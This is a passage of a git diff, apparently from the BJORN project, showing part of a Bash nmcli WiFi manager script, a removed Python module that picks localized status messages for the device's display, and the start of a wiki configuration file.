|
||||
read -s password
|
||||
echo ""
|
||||
if [ -z "$password" ]; then
|
||||
log "ERROR" "Password cannot be empty."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
log "INFO" "Connecting to '$ssid_selected'..."
|
||||
nmcli device wifi connect "$ssid_selected" password "$password" name "$ssid_selected"
|
||||
fi
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Successfully connected to '$ssid_selected'."
|
||||
else
|
||||
log "ERROR" "Failed to connect to '$ssid_selected'."
|
||||
fi
|
||||
else
|
||||
log "INFO" "Operation cancelled."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
read -p "Press Enter to continue..."
|
||||
else
|
||||
log "ERROR" "Invalid input."
|
||||
sleep 2
|
||||
fi
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Show Current WiFi Status
|
||||
# ============================================================
|
||||
show_wifi_status() {
|
||||
clear
|
||||
echo -e "${BLUE}╔════════════════════════════════════════╗${NC}"
|
||||
echo -e "${BLUE}║ Current WiFi Status ║${NC}"
|
||||
echo -e "${BLUE}╠════════════════════════════════════════╣${NC}"
|
||||
|
||||
# Check if WiFi is enabled
|
||||
wifi_enabled=$(nmcli radio wifi)
|
||||
echo -e "▶ WiFi Enabled : ${wifi_enabled}"
|
||||
|
||||
# Show active connection
|
||||
# Remplacer SSID par NAME
|
||||
active_conn=$(nmcli -t -f ACTIVE,NAME connection show --active | grep '^yes' | cut -d':' -f2)
|
||||
if [ -n "$active_conn" ]; then
|
||||
echo -e "▶ Connected to : ${GREEN}$active_conn${NC}"
|
||||
else
|
||||
echo -e "▶ Connected to : ${RED}Not Connected${NC}"
|
||||
fi
|
||||
|
||||
# Show all saved connections
|
||||
echo -e "\n${CYAN}Saved WiFi Connections:${NC}"
|
||||
nmcli connection show | grep wifi
|
||||
|
||||
echo -e "${BLUE}╚════════════════════════════════════════╝${NC}"
|
||||
echo ""
|
||||
read -p "Press Enter to return to the menu..."
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Add a New WiFi Connection
|
||||
# ============================================================
|
||||
add_wifi_connection() {
|
||||
echo -e "${CYAN}Add a New WiFi Connection${NC}"
|
||||
echo -n "Enter SSID (Network Name): "
|
||||
read ssid
|
||||
echo -n "Enter WiFi Password (leave empty for open network): "
|
||||
read -s password
|
||||
echo ""
|
||||
|
||||
if [ -z "$ssid" ]; then
|
||||
log "ERROR" "SSID cannot be empty."
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
if [ -n "$password" ]; then
|
||||
log "INFO" "Adding new WiFi connection for SSID: $ssid"
|
||||
nmcli device wifi connect "$ssid" password "$password" name "$ssid"
|
||||
else
|
||||
log "INFO" "Adding new open WiFi connection for SSID: $ssid"
|
||||
nmcli device wifi connect "$ssid" --ask name "$ssid"
|
||||
fi
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Successfully connected to '$ssid'."
|
||||
else
|
||||
log "ERROR" "Failed to connect to '$ssid'."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
read -p "Press Enter to return to the menu..."
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Delete a WiFi Connection
|
||||
# ============================================================
|
||||
delete_wifi_connection() {
|
||||
echo -e "${CYAN}Delete a WiFi Connection${NC}"
|
||||
# Correctly filter connections by type '802-11-wireless'
|
||||
connections=$(nmcli -t -f NAME,TYPE connection show | awk -F: '$2 == "802-11-wireless" {print $1}')
|
||||
|
||||
if [ -z "$connections" ]; then
|
||||
log "WARN" "No WiFi connections available to delete."
|
||||
echo ""
|
||||
read -p "Press Enter to return to the menu..."
|
||||
return
|
||||
fi
|
||||
|
||||
echo -e "${CYAN}Available WiFi Connections:${NC}"
|
||||
index=1
|
||||
declare -A CONNECTIONS
|
||||
while IFS= read -r conn; do
|
||||
echo -e "$index. $conn"
|
||||
CONNECTIONS["$index"]="$conn"
|
||||
index=$((index + 1))
|
||||
done <<< "$connections"
|
||||
|
||||
echo ""
|
||||
echo -n -e "${GREEN}Enter the number of the connection to delete (or press Enter to cancel): ${NC}"
|
||||
read selection
|
||||
|
||||
if [[ -z "$selection" ]]; then
|
||||
log "INFO" "Operation cancelled."
|
||||
sleep 1
|
||||
return
|
||||
fi
|
||||
|
||||
# Validate selection
|
||||
if ! [[ "$selection" =~ ^[0-9]+$ ]]; then
|
||||
log "ERROR" "Invalid selection. Please enter a valid number."
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
max_index=$((index - 1))
|
||||
if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then
|
||||
log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index."
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
conn_name="${CONNECTIONS[$selection]}"
|
||||
|
||||
# Backup the connection before deletion
|
||||
backup_dir="$HOME/wifi_connection_backups"
|
||||
mkdir -p "$backup_dir"
|
||||
backup_file="$backup_dir/${conn_name}.nmconnection"
|
||||
|
||||
if nmcli connection show "$conn_name" &> /dev/null; then
|
||||
log "INFO" "Backing up connection '$conn_name'..."
|
||||
cp "/etc/NetworkManager/system-connections/$conn_name.nmconnection" "$backup_file" 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Backup saved to '$backup_file'."
|
||||
else
|
||||
log "WARN" "Failed to backup connection. It might not be a preconfigured connection or backup location is inaccessible."
|
||||
fi
|
||||
else
|
||||
log "WARN" "Connection '$conn_name' does not exist or cannot be backed up."
|
||||
fi
|
||||
|
||||
log "INFO" "Deleting WiFi connection: $conn_name"
|
||||
nmcli connection delete "$conn_name"
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Successfully deleted '$conn_name'."
|
||||
else
|
||||
log "ERROR" "Failed to delete '$conn_name'."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
read -p "Press Enter to return to the menu..."
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Clear All Saved WiFi Connections
|
||||
# ============================================================
|
||||
clear_all_connections() {
|
||||
echo -e "${YELLOW}Are you sure you want to delete all saved WiFi connections? (y/n): ${NC}"
|
||||
read confirm
|
||||
if [[ "$confirm" =~ ^[Yy]$ ]]; then
|
||||
log "INFO" "Deleting all saved WiFi connections..."
|
||||
connections=$(nmcli -t -f NAME,TYPE connection show | awk -F: '$2 == "802-11-wireless" {print $1}')
|
||||
for conn in $connections; do
|
||||
# Backup before deletion
|
||||
backup_dir="$HOME/wifi_connection_backups"
|
||||
mkdir -p "$backup_dir"
|
||||
backup_file="$backup_dir/${conn}.nmconnection"
|
||||
if nmcli connection show "$conn" &> /dev/null; then
|
||||
cp "/etc/NetworkManager/system-connections/$conn.nmconnection" "$backup_file" 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Backup saved to '$backup_file'."
|
||||
else
|
||||
log "WARN" "Failed to backup connection '$conn'."
|
||||
fi
|
||||
fi
|
||||
|
||||
nmcli connection delete "$conn"
|
||||
log "INFO" "Deleted connection: $conn"
|
||||
done
|
||||
log "INFO" "All saved WiFi connections have been deleted."
|
||||
else
|
||||
log "INFO" "Operation cancelled."
|
||||
fi
|
||||
echo ""
|
||||
read -p "Press Enter to return to the menu..."
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Manage WiFi Connections
|
||||
# ============================================================
|
||||
manage_wifi_connections() {
|
||||
while true; do
|
||||
clear
|
||||
echo -e "${CYAN}Manage WiFi Connections${NC}"
|
||||
echo -e "1. List WiFi Connections"
|
||||
echo -e "2. Delete a WiFi Connection"
|
||||
echo -e "3. Recreate a WiFi Connection from Backup"
|
||||
echo -e "4. Back to Main Menu"
|
||||
echo -n -e "${GREEN}Choose an option (1-4): ${NC}"
|
||||
read choice
|
||||
|
||||
case $choice in
|
||||
1)
|
||||
# List WiFi connections
|
||||
clear
|
||||
echo -e "${CYAN}Saved WiFi Connections:${NC}"
|
||||
nmcli -t -f NAME,TYPE connection show | awk -F: '$2 == "802-11-wireless" {print $1}'
|
||||
echo ""
|
||||
read -p "Press Enter to return to the Manage WiFi Connections menu..."
|
||||
;;
|
||||
2)
|
||||
delete_wifi_connection
|
||||
;;
|
||||
3)
|
||||
# Liste des sauvegardes disponibles
|
||||
backup_dir="$HOME/wifi_connection_backups"
|
||||
if [ ! -d "$backup_dir" ]; then
|
||||
log "WARN" "No backup directory found at '$backup_dir'."
|
||||
echo ""
|
||||
read -p "Press Enter to return to the Manage WiFi Connections menu..."
|
||||
continue
|
||||
fi
|
||||
|
||||
backups=("$backup_dir"/*.nmconnection)
|
||||
if [ ${#backups[@]} -eq 0 ]; then
|
||||
log "WARN" "No backup files found in '$backup_dir'."
|
||||
echo ""
|
||||
read -p "Press Enter to return to the Manage WiFi Connections menu..."
|
||||
continue
|
||||
fi
|
||||
|
||||
echo -e "${CYAN}Available WiFi Connection Backups:${NC}"
|
||||
index=1
|
||||
declare -A BACKUPS
|
||||
for backup in "${backups[@]}"; do
|
||||
backup_name=$(basename "$backup" .nmconnection)
|
||||
echo -e "$index. $backup_name"
|
||||
BACKUPS["$index"]="$backup_name"
|
||||
index=$((index + 1))
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo -n -e "${GREEN}Enter the number of the connection to recreate (or press Enter to cancel): ${NC}"
|
||||
read selection
|
||||
|
||||
if [[ -z "$selection" ]]; then
|
||||
log "INFO" "Operation cancelled."
|
||||
sleep 1
|
||||
continue
|
||||
fi
|
||||
|
||||
# Validate selection
|
||||
if ! [[ "$selection" =~ ^[0-9]+$ ]]; then
|
||||
log "ERROR" "Invalid selection. Please enter a valid number."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
max_index=$((index - 1))
|
||||
if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then
|
||||
log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
conn_name="${BACKUPS[$selection]}"
|
||||
|
||||
backup_file="$backup_dir/${conn_name}.nmconnection"
|
||||
|
||||
# Vérifier que le fichier de sauvegarde existe
|
||||
if [ ! -f "$backup_file" ]; then
|
||||
log "ERROR" "Backup file '$backup_file' does not exist."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
log "INFO" "Recreating connection '$conn_name' from backup..."
|
||||
cp "$backup_file" "/etc/NetworkManager/system-connections/" 2>/dev/null
|
||||
if [ $? -ne 0 ]; then
|
||||
log "ERROR" "Failed to copy backup file to NetworkManager directory. Check permissions."
|
||||
sleep 2
|
||||
continue
|
||||
fi
|
||||
|
||||
# Set correct permissions
|
||||
chmod 600 "/etc/NetworkManager/system-connections/$conn_name.nmconnection"
|
||||
|
||||
# Reload NetworkManager connections
|
||||
nmcli connection reload
|
||||
|
||||
# Bring the connection up
|
||||
nmcli connection up "$conn_name"
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
log "INFO" "Successfully recreated and connected to '$conn_name'."
|
||||
else
|
||||
log "ERROR" "Failed to recreate and connect to '$conn_name'."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
read -p "Press Enter to return to the Manage WiFi Connections menu..."
|
||||
;;
|
||||
4)
|
||||
log "INFO" "Returning to Main Menu."
|
||||
return
|
||||
;;
|
||||
*)
|
||||
log "ERROR" "Invalid option."
|
||||
sleep 2
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Force Refresh WiFi Connections
|
||||
# ============================================================
|
||||
force_refresh_wifi_connections() {
|
||||
log "INFO" "Refreshing WiFi connections..."
|
||||
nmcli connection reload
|
||||
# Identify the WiFi device (e.g., wlan0, wlp2s0)
|
||||
wifi_device=$(nmcli device status | awk '$2 == "wifi" {print $1}')
|
||||
if [ -n "$wifi_device" ]; then
|
||||
nmcli device disconnect "$wifi_device"
|
||||
nmcli device connect "$wifi_device"
|
||||
log "INFO" "WiFi connections have been refreshed."
|
||||
else
|
||||
log "WARN" "No WiFi device found to refresh."
|
||||
fi
|
||||
echo ""
|
||||
read -p "Press Enter to return to the menu..."
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Function to Display the Main Menu
|
||||
# ============================================================
|
||||
display_main_menu() {
|
||||
while true; do
|
||||
clear
|
||||
echo -e "${BLUE}╔════════════════════════════════════════╗${NC}"
|
||||
echo -e "${BLUE}║ Wifi Manager Menu by Infinition ║${NC}"
|
||||
echo -e "${BLUE}╠════════════════════════════════════════╣${NC}"
|
||||
echo -e "${BLUE}║${NC} 1. List Available WiFi Networks ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 2. Show Current WiFi Status ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 3. Add a New WiFi Connection ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 4. Delete a WiFi Connection ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 5. Clear All Saved WiFi Connections ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 6. Manage WiFi Connections ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 7. Force Refresh WiFi Connections ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}║${NC} 8. Exit ${BLUE}║${NC}"
|
||||
echo -e "${BLUE}╚════════════════════════════════════════╝${NC}"
|
||||
echo -e "Note: Ensure your WiFi adapter is enabled."
|
||||
echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}"
|
||||
echo -n -e "${GREEN}Please choose an option (1-8): ${NC}"
|
||||
read choice
|
||||
|
||||
case $choice in
|
||||
1)
|
||||
list_wifi_and_connect
|
||||
;;
|
||||
2)
|
||||
show_wifi_status
|
||||
;;
|
||||
3)
|
||||
add_wifi_connection
|
||||
;;
|
||||
4)
|
||||
delete_wifi_connection
|
||||
;;
|
||||
5)
|
||||
clear_all_connections
|
||||
;;
|
||||
6)
|
||||
manage_wifi_connections
|
||||
;;
|
||||
7)
|
||||
force_refresh_wifi_connections
|
||||
;;
|
||||
8)
|
||||
log "INFO" "Exiting Wifi Manager. Goodbye!"
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
log "ERROR" "Invalid option. Please choose between 1-8."
|
||||
sleep 2
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
# ============================================================
|
||||
# Process Command Line Arguments
|
||||
# ============================================================
|
||||
while getopts "hfclsadm" opt; do
|
||||
case $opt in
|
||||
h)
|
||||
show_usage
|
||||
;;
|
||||
f)
|
||||
force_refresh_wifi_connections
|
||||
exit 0
|
||||
;;
|
||||
c)
|
||||
clear_all_connections
|
||||
exit 0
|
||||
;;
|
||||
l)
|
||||
list_wifi_and_connect
|
||||
exit 0
|
||||
;;
|
||||
s)
|
||||
show_wifi_status
|
||||
exit 0
|
||||
;;
|
||||
a)
|
||||
add_wifi_connection
|
||||
exit 0
|
||||
;;
|
||||
d)
|
||||
delete_wifi_connection
|
||||
exit 0
|
||||
;;
|
||||
m)
|
||||
manage_wifi_connections
|
||||
exit 0
|
||||
;;
|
||||
\?)
|
||||
log "ERROR" "Invalid option: -$OPTARG"
|
||||
show_usage
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# ============================================================
|
||||
# Check Prerequisites Before Starting
|
||||
# ============================================================
|
||||
check_prerequisites
|
||||
|
||||
# ============================================================
|
||||
# Handle preconfigured.nmconnection if Exists
|
||||
# ============================================================
|
||||
handle_preconfigured_connection
|
||||
|
||||
# ============================================================
|
||||
# Start the Main Menu
|
||||
# ============================================================
|
||||
display_main_menu
|
||||
@@ -1,374 +0,0 @@
|
||||
"""comment.py - Contextual display messages with DB-backed templates and i18n support."""
|
||||
|
||||
import os
|
||||
import time
|
||||
import random
|
||||
import locale
|
||||
from typing import Optional, List, Dict, Any
|
||||
|
||||
from init_shared import shared_data
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="comment.py", level=20) # INFO
|
||||
|
||||
|
||||
# --- Helpers -----------------------------------------------------------------
|
||||
|
||||
class _SafeDict(dict):
|
||||
"""Safe formatter: leaves unknown {placeholders} intact instead of raising."""
|
||||
def __missing__(self, key):
|
||||
return "{" + key + "}"
|
||||
|
||||
|
||||
def _row_get(row: Any, key: str, default=None):
|
||||
"""Safe accessor for rows that may be dict-like or sqlite3.Row."""
|
||||
try:
|
||||
return row.get(key, default)
|
||||
except Exception:
|
||||
try:
|
||||
return row[key]
|
||||
except Exception:
|
||||
return default
|
||||
|
||||
|
||||
# --- Main class --------------------------------------------------------------
|
||||
|
||||
class CommentAI:
|
||||
"""
|
||||
AI-style comment generator for status messages with:
|
||||
- Randomized delay between messages
|
||||
- Database-backed phrases (text, status, theme, lang, weight)
|
||||
- Multilingual search with language priority and fallbacks
|
||||
- Safe string templates: "Trying {user}@{ip}..."
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Timing configuration with robust defaults
|
||||
self.delay_min = max(1, int(getattr(self.shared_data, "comment_delaymin", 5)))
|
||||
self.delay_max = max(self.delay_min, int(getattr(self.shared_data, "comment_delaymax", 15)))
|
||||
self.comment_delay = self._new_delay()
|
||||
|
||||
# State tracking
|
||||
self.last_comment_time: float = 0.0
|
||||
self.last_status: Optional[str] = None
|
||||
|
||||
# Ensure comments are loaded in database
|
||||
self._ensure_comments_loaded()
|
||||
|
||||
# Initialize first comment for UI using language priority
|
||||
if not hasattr(self.shared_data, "bjorn_says") or not getattr(self.shared_data, "bjorn_says"):
|
||||
first = self._pick_text("IDLE", lang=None, params=None)
|
||||
self.shared_data.bjorn_says = first or "Initializing..."
|
||||
|
||||
# --- Language priority & JSON discovery ----------------------------------
|
||||
|
||||
def _lang_priority(self, preferred: Optional[str] = None) -> List[str]:
|
||||
"""
|
||||
Build ordered language preference list, deduplicated.
|
||||
Priority sources:
|
||||
1. explicit `preferred`
|
||||
2. shared_data.lang_priority (list)
|
||||
3. shared_data.lang (single fallback)
|
||||
4. defaults ["en", "fr"]
|
||||
"""
|
||||
order: List[str] = []
|
||||
|
||||
def norm(x: Optional[str]) -> Optional[str]:
|
||||
if not x:
|
||||
return None
|
||||
x = str(x).strip().lower()
|
||||
return x[:2] if x else None
|
||||
|
||||
# 1) explicit override
|
||||
p = norm(preferred)
|
||||
if p:
|
||||
order.append(p)
|
||||
|
||||
sd = self.shared_data
|
||||
|
||||
# 2) list from shared_data
|
||||
if hasattr(sd, "lang_priority") and isinstance(sd.lang_priority, (list, tuple)):
|
||||
order += [l for l in (norm(x) for x in sd.lang_priority) if l]
|
||||
|
||||
# 3) single language from shared_data
|
||||
if hasattr(sd, "lang"):
|
||||
l = norm(sd.lang)
|
||||
if l:
|
||||
order.append(l)
|
||||
|
||||
# 4) fallback defaults
|
||||
order += ["en", "fr"]
|
||||
|
||||
# Deduplicate while preserving order
|
||||
seen, res = set(), []
|
||||
for l in order:
|
||||
if l and l not in seen:
|
||||
seen.add(l)
|
||||
res.append(l)
|
||||
return res
|
||||
|
||||
|
||||
def _get_comments_json_paths(self, lang: Optional[str] = None) -> List[str]:
|
||||
"""
|
||||
Return candidate JSON paths, restricted to default_comments_dir (and explicit comments_file).
|
||||
Supported patterns:
|
||||
- {comments_file} (explicit)
|
||||
- {default_comments_dir}/comments.json
|
||||
- {default_comments_dir}/comments.<lang>.json
|
||||
- {default_comments_dir}/{lang}/comments.json
|
||||
"""
|
||||
lang = (lang or "").strip().lower()
|
||||
candidates = []
|
||||
|
||||
# 1) Explicit path from shared_data
|
||||
comments_file = getattr(self.shared_data, "comments_file", "") or ""
|
||||
if comments_file:
|
||||
candidates.append(comments_file)
|
||||
|
||||
# 2) Default comments directory
|
||||
default_dir = getattr(self.shared_data, "default_comments_dir", "")
|
||||
if default_dir:
|
||||
candidates += [
|
||||
os.path.join(default_dir, "comments.json"),
|
||||
os.path.join(default_dir, f"comments.{lang}.json") if lang else "",
|
||||
os.path.join(default_dir, lang, "comments.json") if lang else "",
|
||||
]
|
||||
|
||||
# Deduplicate
|
||||
unique_paths, seen = [], set()
|
||||
for p in candidates:
|
||||
p = (p or "").strip()
|
||||
if p and p not in seen:
|
||||
seen.add(p)
|
||||
unique_paths.append(p)
|
||||
|
||||
return unique_paths
|
||||
|
||||
|
||||
# --- Bootstrapping DB -----------------------------------------------------
|
||||
|
||||
def _ensure_comments_loaded(self):
|
||||
"""Import all comments.*.json files on every startup (dedup via UNIQUE index)."""
|
||||
import glob as _glob
|
||||
|
||||
default_dir = getattr(self.shared_data, "default_comments_dir", "") or ""
|
||||
if not default_dir or not os.path.isdir(default_dir):
|
||||
logger.debug("No default_comments_dir, seeding minimal fallback set")
|
||||
self._seed_minimal_comments()
|
||||
return
|
||||
|
||||
# Glob all comments JSON files: comments.en.json, comments.fr.json, etc.
|
||||
pattern = os.path.join(default_dir, "comments.*.json")
|
||||
json_files = sorted(_glob.glob(pattern))
|
||||
|
||||
# Also check for a bare comments.json
|
||||
bare = os.path.join(default_dir, "comments.json")
|
||||
if os.path.exists(bare) and bare not in json_files:
|
||||
json_files.insert(0, bare)
|
||||
|
||||
imported = 0
|
||||
for json_path in json_files:
|
||||
try:
|
||||
count = int(self.shared_data.db.import_comments_from_json(json_path))
|
||||
imported += count
|
||||
if count > 0:
|
||||
logger.info(f"Imported {count} comments from {json_path}")
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to import comments from {json_path}: {e}")
|
||||
|
||||
if imported == 0:
|
||||
# Nothing new imported - check if DB is empty and seed fallback
|
||||
try:
|
||||
if int(self.shared_data.db.count_comments()) == 0:
|
||||
logger.debug("No comments in DB, seeding minimal fallback set")
|
||||
self._seed_minimal_comments()
|
||||
except Exception:
|
||||
self._seed_minimal_comments()
|
||||
|
||||
|
||||
def _seed_minimal_comments(self):
|
||||
"""
|
||||
Seed minimal set when no JSON available.
|
||||
Schema per row: (text, status, theme, lang, weight)
|
||||
"""
|
||||
default_comments = [
|
||||
# English
|
||||
("Scanning network for targets...", "NetworkScanner", "NetworkScanner", "en", 2),
|
||||
("System idle, awaiting commands.", "IDLE", "IDLE", "en", 3),
|
||||
("Analyzing network topology...", "NetworkScanner", "NetworkScanner", "en", 1),
|
||||
("Processing authentication attempts...", "SSHBruteforce", "SSHBruteforce", "en", 2),
|
||||
("Searching for vulnerabilities...", "NmapVulnScanner", "NmapVulnScanner", "en", 2),
|
||||
("Extracting credentials from services...", "CredExtractor", "CredExtractor", "en", 1),
|
||||
("Monitoring network changes...", "IDLE", "IDLE", "en", 2),
|
||||
("Ready for deployment.", "IDLE", "IDLE", "en", 1),
|
||||
("Target acquisition in progress...", "NetworkScanner", "NetworkScanner", "en", 1),
|
||||
("Establishing secure connections...", "SSHBruteforce", "SSHBruteforce", "en", 1),
|
||||
|
||||
# French (bonus minimal)
|
||||
("Analyse du réseau en cours...", "NetworkScanner", "NetworkScanner", "fr", 2),
|
||||
("Système au repos, en attente d’ordres.", "IDLE", "IDLE", "fr", 3),
|
||||
("Cartographie de la topologie réseau...", "NetworkScanner", "NetworkScanner", "fr", 1),
|
||||
("Tentatives d’authentification en cours...", "SSHBruteforce", "SSHBruteforce", "fr", 2),
|
||||
("Recherche de vulnérabilités...", "NmapVulnScanner", "NmapVulnScanner", "fr", 2),
|
||||
("Extraction d’identifiants depuis les services...", "CredExtractor", "CredExtractor", "fr", 1),
|
||||
]
|
||||
try:
|
||||
self.shared_data.db.insert_comments(default_comments)
|
||||
logger.info(f"Seeded {len(default_comments)} minimal comments into database")
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to seed minimal comments: {e}")
|
||||
|
||||
# --- Core selection -------------------------------------------------------
|
||||
|
||||
def _new_delay(self) -> int:
|
||||
"""Generate new random delay between comments."""
|
||||
delay = random.randint(self.delay_min, self.delay_max)
|
||||
logger.debug(f"Next comment delay: {delay}s")
|
||||
return delay
|
||||
|
||||
def _pick_text(
|
||||
self,
|
||||
status: str,
|
||||
lang: Optional[str],
|
||||
params: Optional[Dict[str, Any]] = None
|
||||
) -> Optional[str]:
|
||||
"""
|
||||
Pick a weighted comment across language preference; supports {templates}.
|
||||
Selection cascade (per language in priority order):
|
||||
1) (lang, status)
|
||||
2) (lang, 'ANY')
|
||||
3) (lang, 'IDLE')
|
||||
Then cross-language:
|
||||
4) (any, status)
|
||||
5) (any, 'IDLE')
|
||||
"""
|
||||
status = status or "IDLE"
|
||||
langs = self._lang_priority(preferred=lang)
|
||||
|
||||
# Language-scoped queries
|
||||
rows = []
|
||||
queries = [
|
||||
("SELECT text, weight FROM comments WHERE lang=? AND status=?", lambda L: (L, status)),
|
||||
("SELECT text, weight FROM comments WHERE lang=? AND status='ANY'", lambda L: (L,)),
|
||||
("SELECT text, weight FROM comments WHERE lang=? AND status='IDLE'", lambda L: (L,)),
|
||||
]
|
||||
for L in langs:
|
||||
for sql, args_fn in queries:
|
||||
try:
|
||||
rows = self.shared_data.db.query(sql, args_fn(L))
|
||||
except Exception as e:
|
||||
logger.error(f"DB query failed: {e}")
|
||||
rows = []
|
||||
if rows:
|
||||
break
|
||||
if rows:
|
||||
break
|
||||
|
||||
# Cross-language fallbacks
|
||||
if not rows:
|
||||
for sql, args in [
|
||||
("SELECT text, weight FROM comments WHERE status=? ORDER BY RANDOM() LIMIT 50", (status,)),
|
||||
("SELECT text, weight FROM comments WHERE status='IDLE' ORDER BY RANDOM() LIMIT 50", ()),
|
||||
]:
|
||||
try:
|
||||
rows = self.shared_data.db.query(sql, args)
|
||||
except Exception as e:
|
||||
logger.error(f"DB query failed: {e}")
|
||||
rows = []
|
||||
if rows:
|
||||
break
|
||||
|
||||
if not rows:
|
||||
return None
|
||||
|
||||
# Weighted selection using random.choices (no temporary list expansion)
|
||||
texts: List[str] = []
|
||||
weights: List[int] = []
|
||||
for row in rows:
|
||||
text = _row_get(row, "text", "")
|
||||
if text:
|
||||
try:
|
||||
w = int(_row_get(row, "weight", 1)) or 1
|
||||
except Exception:
|
||||
w = 1
|
||||
texts.append(text)
|
||||
weights.append(max(1, w))
|
||||
|
||||
if texts:
|
||||
chosen = random.choices(texts, weights=weights, k=1)[0]
|
||||
else:
|
||||
chosen = _row_get(rows[0], "text", None)
|
||||
|
||||
# Templates {var}
|
||||
if chosen and params:
|
||||
try:
|
||||
chosen = str(chosen).format_map(_SafeDict(params))
|
||||
except Exception:
|
||||
# Keep the raw text if formatting fails
|
||||
pass
|
||||
|
||||
return chosen
|
||||
|
||||
# --- Public API -----------------------------------------------------------
|
||||
|
||||
def get_comment(
|
||||
self,
|
||||
status: str,
|
||||
lang: Optional[str] = None,
|
||||
params: Optional[Dict[str, Any]] = None
|
||||
) -> Optional[str]:
|
||||
"""
|
||||
Return a comment if status changed or delay expired.
|
||||
|
||||
When llm_comments_enabled=True in config, tries LLM first;
|
||||
falls back to the database/template system on any failure.
|
||||
|
||||
Args:
|
||||
status: logical status name (e.g., "IDLE", "SSHBruteforce", "NetworkScanner").
|
||||
lang: language override (e.g., "fr"); if None, auto priority is used.
|
||||
params: optional dict to format templates with {placeholders}.
|
||||
|
||||
Returns:
|
||||
str or None: A new comment, or None if not time yet and status unchanged.
|
||||
"""
|
||||
current_time = time.time()
|
||||
status = status or "IDLE"
|
||||
|
||||
status_changed = (status != self.last_status)
|
||||
if not status_changed and (current_time - self.last_comment_time < self.comment_delay):
|
||||
return None
|
||||
|
||||
# --- Try LLM if enabled ---
|
||||
text: Optional[str] = None
|
||||
llm_generated = False
|
||||
if getattr(self.shared_data, "llm_comments_enabled", False):
|
||||
try:
|
||||
from llm_bridge import LLMBridge
|
||||
text = LLMBridge().generate_comment(status, params)
|
||||
if text:
|
||||
llm_generated = True
|
||||
except Exception as e:
|
||||
logger.debug(f"LLM comment failed, using fallback: {e}")
|
||||
|
||||
# --- Fallback: database / template system (original behaviour) ---
|
||||
if not text:
|
||||
text = self._pick_text(status, lang, params)
|
||||
|
||||
if text:
|
||||
self.last_status = status
|
||||
self.last_comment_time = current_time
|
||||
self.comment_delay = self._new_delay()
|
||||
logger.debug(f"Next comment delay: {self.comment_delay}s")
|
||||
# Log comments
|
||||
if llm_generated:
|
||||
logger.info(f"[LLM_COMMENT] ({status}) {text}")
|
||||
else:
|
||||
logger.info(f"[COMMENT] ({status}) {text}")
|
||||
return text
|
||||
return None
|
||||
|
||||
|
||||
# Backward compatibility alias
|
||||
Commentaireia = CommentAI
|
||||
@@ -0,0 +1,118 @@
|
||||
/**
|
||||
* AcidWiki Configuration
|
||||
* Customize your wiki by changing the values below.
|
||||
*/
|
||||
const CONFIG = {
|
||||
// Project Information
|
||||
projectName: "BJORN",
|
||||
projectSubtitle: "BJORN WIKI",
|
||||
description: "Official Documentation and Wiki for BJORN Cyber Viking",
|
||||
|
||||
// Versioning Settings
|
||||
// type: "github" (automatic from API) or "local" (manual)
|
||||
versioning: {
|
||||
type: "github",
|
||||
manualVersion: "v1.0.11",
|
||||
manualDate: "2026-01-21"
|
||||
},
|
||||
|
||||
// GitHub Repository (for version checking when type is "github")
|
||||
// Format: "username/repo"
|
||||
repo: "infinition/AcidWiki",
|
||||
branch: "main",
|
||||
|
||||
// Theme Settings
|
||||
themes: [
|
||||
{ id: "dark", name: "Dark Mode", file: "wiki/themes/dark.css", isDark: true },
|
||||
{ id: "dim", name: "Dim Mode", file: "wiki/themes/light.css", isDark: true },
|
||||
{ id: "electric-blue", name: "Electric Blue", file: "wiki/themes/electric-blue.css", isDark: true },
|
||||
{ id: "cyberpunk", name: "Cyberpunk", file: "wiki/themes/cyberpunk.css", isDark: true },
|
||||
